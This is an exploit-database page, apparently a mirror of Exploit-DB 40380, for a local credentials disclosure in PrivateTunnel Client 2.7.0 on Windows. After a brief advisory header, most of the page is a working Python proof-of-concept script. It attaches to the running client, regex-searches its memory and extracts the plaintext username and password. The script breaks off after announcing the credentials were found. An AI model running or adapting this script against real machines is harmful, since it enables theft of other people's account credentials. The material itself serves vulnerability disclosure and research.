PrivateTunnel Client 2.7.0 (x64) – Local Credentials Disclosure

Exploit Database
125 阅读

作者： Yakir Wizman

日期： 2016-09-14
类别：
- local
平台：
- windows_x86-64
来源：https://www.exploit-db.com/exploits/40380/

#####

# PrivateTunnel Client v2.7.0 (x64) Local Credentials Disclosure After Sign out Exploit

# Tested on Windows Windows 7 64bit, English

# Vendor Homepage @ https://www.privatetunnel.com

# Date 14/09/2016

# Bug Discovery by:

# Yakir Wizman (https://www.linkedin.com/in/yakirwizman)

# http://www.black-rose.ml

# Viktor Minin (https://www.linkedin.com/in/MininViktor)

# https://1-33-7.com/

#####

# PrivateTunnel Client v2.7.0 is vulnerable to local credentials disclosure after the user is logged out.

# It seems that PrivateTunnel does store the supplied credentials while the user is logged in and after sign out in a plaintext format in memory process.

# A potential attacker could reveal the supplied username and password in order to gain access to PrivateTunnel account.

# Authors are not responsible for any misuse or demage which caused by use of this script code.

# Please use responsibly.

#####

# Proof-Of-Concept Code:

import time

import urllib

from winappdbg import Debug, Process

usr = ''

pwd = ''

found = 0

filename = "privatetunnel2.7.0.exe"

process_pid = 0

memory_dump = []

debug = Debug()

try:

print "###########################################################################"

print "# PrivateTunnel v2.7.0 Local Credentials Disclosure Exploit After Sign out#"

print "#\t\tBug Discovery by Yakir Wizman, Victor Minin\t\t#"

print "#\t\tTested on Windows Windows 7 64bit, English\t\t#"

print "#\t\t\tPlease use responsibly.\t\t\t\t#"

print "###########################################################################\r\n"

print "[~] Searching for pid by process name '%s'.." % (filename)

time.sleep(1)

debug.system.scan_processes()

for (process, process_name) in debug.system.find_processes_by_filename(filename):

process_pid = process.get_pid()

if process_pid is not 0:

print "[+] Found process with pid #%d" % (process_pid)

time.sleep(1)

print "[~] Trying to read memory for pid #%d" % (process_pid)

process = Process(process_pid)

user_pattern = '\x20\x22\x70\x61\x73\x73\x77\x6F\x72\x64\x22\x20\x3A\x20\x22(.*)\x22\x2C\x0A\x20\x20\x20\x22\x75\x73\x65\x72\x6E\x61\x6D\x65\x22\x20\x3A\x20\x22(.*)\x22\x0A'

for address in process.search_regexp(user_pattern):

memory_dump.append(address)

try:

usr = memory_dump[0][2].split('"username" : "')[1].replace('"\n', '')

pwd = memory_dump[0][2].split('"password" : "')[1].split('",')[0]

except:

pass

print ""

if usr != '' and pwd !='':

found = 1

print "[+] PrivateTunnel Credentials found!\r\n----------------------------------------"